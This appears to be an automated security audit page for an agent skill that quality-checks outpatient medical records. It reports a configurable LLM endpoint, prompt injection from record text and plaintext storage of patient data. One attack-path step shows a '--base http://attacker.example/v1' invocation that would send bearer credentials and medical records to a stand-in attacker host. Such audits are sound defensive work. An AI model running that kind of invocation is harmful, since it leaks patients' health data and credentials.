Back to skill

Security audit

unisound-chief-complaint-hpi-inconsistent

Security checks for vulnerabilities and agentic risk

Overview

The skill matches its medical-record QC purpose, but it handles sensitive clinical text through a configurable remote LLM endpoint and writes plaintext outputs, so it needs review before installation.

Install only in an environment approved for medical data. Use de-identified records, keep --base fixed to a trusted HTTPS endpoint, use a least-privilege appkey, and direct outputs to a controlled private location with retention cleanup. Treat the model result as advisory and require clinician review.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/emr_qc_impl.py:59
Finding

Configurable API Endpoint Can Exfiltrate Medical Data and Bearer Credentials

Content
View full analysis
str: payload = {"model": model, "messages": messages, "temperature": 0} resp = _http_post(url, payload, headers, timeout=timeout) ``` The destination is exposed directly through command-line arguments: ```python parser.add_argument( "--base", default=DEFAULT_LLM_BASE, help=f"大模型 base URL(默认:{DEFAULT_LLM_BASE})。", ) ``` This occurs in `scripts/emr_qc.py:25-28` and `scripts/run.py:51-54`. ### Technical Analysis The user-controlled `base` value is directly concatenated with `/chat/completions`. The resulting URL receives both: 1. The API credential in the `Authorization: Bearer` header. 2. Medical-record content in the request payload. The implementation does not enforce HTTPS, validate the destination hostname, restrict ports, reject loopback or private-network addresses, or ensure that the configured endpoint belongs to HiVoice. Redirect behavior is also not explicitly restricted. Consequently, a malicious command, wrapper, configuration, or copied invocation can direct the request to an attacker-controlled service. The same behavior may also be used to issue authenticated requests to local or internal HTTP services, although exploitation depends on the services available from the execution environment. ### Attack Path 1. An attacker convinces an operator or automation system to invoke the Skill with a malicious option such as `--base http://attacker.example/v1`. 2. The operator supplies a legitimate H ...[truncated 942 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/emr_qc_impl.py:113
Finding

Untrusted Medical-Record Content Can Inject Instructions into LLM Prompts

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/run.py:105
Finding

Medical Records and Model-Derived Patient Details Can Be Persisted in Plaintext

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (8)

Missing User Warnings

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The code sends chief complaint and HPI text from outpatient records to an external LLM endpoint, which is a cross-boundary transfer of medical data. Because these fields can contain sensitive health information and the skill provides no explicit warning, consent gate, de-identification, or locality guarantees, this creates substantial privacy, compliance, and third-party data exposure risk.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding

The skill documentation advertises capabilities that include reading files, writing output files, and making network requests to an external medical-model endpoint, but it does not declare any explicit tool scope or permission boundaries. This creates unnecessary ambiguity for reviewers and runtime policy enforcement, increasing the risk of overbroad file access, unintended data exfiltration, or misuse of provided secrets such as the appkey.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The file’s user-facing natural language is entirely in Chinese, including the module docstring, CLI description, and argument help text. There is no indication that language selection is optional or that the skill is explicitly limited to a Chinese-only audience, which can violate locale/language policy requirements for user opt-in or documented justification.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
87% confidence
Finding

The function constructs an authenticated bearer-token client and performs outbound requests to a remote service, but the skill does not surface that user-supplied credentials will be used for external network access. While using an API key is normal, undisclosed credential use combined with sensitive data transfer can surprise operators and expand the blast radius if keys are mis-scoped, logged elsewhere, or used against an unapproved endpoint.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The skill description says it outputs a defect/no-defect result, but the implementation also persists the result to a local file by default. In a medical-record QC context, even the derived output may contain sensitive clinical details or defect explanations, and silent local persistence increases the risk of unintended retention, later disclosure, and policy noncompliance.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

When --save-prepared is enabled, the script writes preprocessed medical record text directly to disk, which may include highly sensitive PHI/PII. In a medical EMR quality-control skill, local plaintext persistence increases the risk of unauthorized access, accidental retention, backup propagation, or disclosure through shared workspaces, especially because there is no explicit warning, consent gate, redaction, or secure-storage control.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
89% confidence
Finding

The natural-language content of the skill, including usage instructions and safety guidance, is presented only in Chinese. Under the stated policy, forcing a specific language without user opt-in can be a locale-policy violation when no language choice or justification is provided.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
87% confidence
Finding

The module docstring presents the tool description only in Chinese, and the CLI help strings elsewhere in the file follow the same pattern. This imposes a specific language on users without any opt-in or indication that the tool is intentionally limited to a Chinese-speaking or region-specific context.

Content

No source excerpt is available for this finding.